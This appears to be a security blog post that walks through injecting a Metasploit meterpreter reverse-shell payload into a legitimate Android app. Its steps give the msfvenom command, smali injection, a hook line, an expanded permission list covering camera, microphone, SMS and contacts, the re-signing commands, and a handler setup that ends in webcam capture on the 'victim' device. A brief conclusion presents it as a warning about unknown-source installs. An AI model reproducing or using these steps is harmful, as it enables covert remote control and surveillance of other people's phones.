50

Manually inject a meterpreter payload.

Inject a meterpreter payload. This video shows how to manually inject a meterpreter payload into an Android application. With this method, once you get the victim to install the infected application, you can gain control over the device; including camera, microphone, location, etc. Note that, for the victim to install the infected application, the device has to be configured to allow installations from unknown sources, which is a bad security practice for mobile devices.


Manually injecting a meterpreter payload:

1) Generate msfvenom Android payload.
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.6 LPORT=4444 R > payload.apk

2) Decode payload witk apktool.
apktool d payload.apk

3) Decode target app with apktool.
apktool d com.securitygrind.application.apk

4) Inject payload code into decoded target app.
mkdir com.securitygrind.application/smali/com/metasploit/
mkdir com.securitygrind.application/smali/com/metasploit/stage
cp payload/smali/com/metasploit/stage/* com.securitygrind.application/smali/com/metasploit/stage/

5) Add meterpreter hook.
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

6) Inject permissions in AndroidManifest.xml
<uses-permission android:name=”android.permission.INTERNET”/>
<uses-permission android:name=”android.permission.ACCESS_WIFI_STATE”/>
<uses-permission android:name=”android.permission.CHANGE_WIFI_STATE”/>
<uses-permission android:name=”android.permission.ACCESS_NETWORK_STATE”/>
<uses-permission android:name=”android.permission.ACCESS_COURSE_LOCATION”/>
<uses-permission android:name=”android.permission.ACCESS_FINE_LOCATION”/>
<uses-permission android:name=”android.permission.READ_PHONE_STATE”/>
<uses-permission android:name=”android.permission.SEND_SMS”/>
<uses-permission android:name=”android.permission.RECEIVE_SMS”/>
<uses-permission android:name=”android.permission.RECORD_AUDIO”/>
<uses-permission android:name=”android.permission.CALL_PHONE”/>
<uses-permission android:name=”android.permission.READ_CONTACTS”/>
<uses-permission android:name=”android.permission.WRITE_CONTACTS”/>
<uses-permission android:name=”android.permission.RECORD_AUDIO”/>
<uses-permission android:name=”android.permission.WRITE_SETTINGS”/>
<uses-permission android:name=”android.permission.CAMERA”/>
<uses-permission android:name=”android.permission.READ_SMS”/>
<uses-permission android:name=”android.permission.WRITE_EXTERNAL_STORAGE”/>
<uses-permission android:name=”android.permission.RECEIVE_BOOT_COMPLETED”/>
<uses-permission android:name=”android.permission.SET_WALLPAPER”/>
<uses-permission android:name=”android.permission.READ_CALL_LOG”/>
<uses-permission android:name=”android.permission.WRITE_CALL_LOG”/>
<uses-feature android:name=”android.hardware.camera”/>
<uses-feature android:name=”android.hardware.camera.autofocus”/>
<uses-feature android:name=”android.hardware.microphone”/>

7) Re-build target app with apktool.
apktool b com.securitygrind.application

8) Sign the target app apk with jarsigner.
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore /securitygrind/key/mykeystore.ks com.securitygrind.application/dist/com.securitygrind.application.apk mykeystore

9) zipalign the target app apk.
zipalign -v 4 com.securitygrind.application/dist/com.securitygrind.application.apk com.securitygrind.application/dist/securitygrind.apk

10) Install the target app.
You need to first enable installation from Unknown Sources: Settings -> Security -> Unknown Sources (turn on)

11) Start the msfconsole reverse handler.
echo “use exploit/multi/handler” > meterpreter.rc
echo “set PAYLOAD android/meterpreter/reverse_tcp” >> meterpreter.rc
echo “set LHOST 192.168.0.6” >> meterpreter.rc
echo “set LPORT 4444” >> meterpreter.rc
echo “exploit -j -z” >> meterpreter.rc

msfconsole -r meterpreter.rc

12) Run the target app.
Run the app on the device.
Check the msfconsole for reverse handler session.

13) Interact with the session.
sessions -i 1
webcam_snap

14) ENJOY!

Conclusion

This post shows how manually injecting a meterpreter payload into an Android application works, so, unless you know what you are doing, allowing installations from unknown sources represents a high risk for the mobile user, since applications that may seem harmless at first sight, could contain malware that puts the user information and privacy at risk.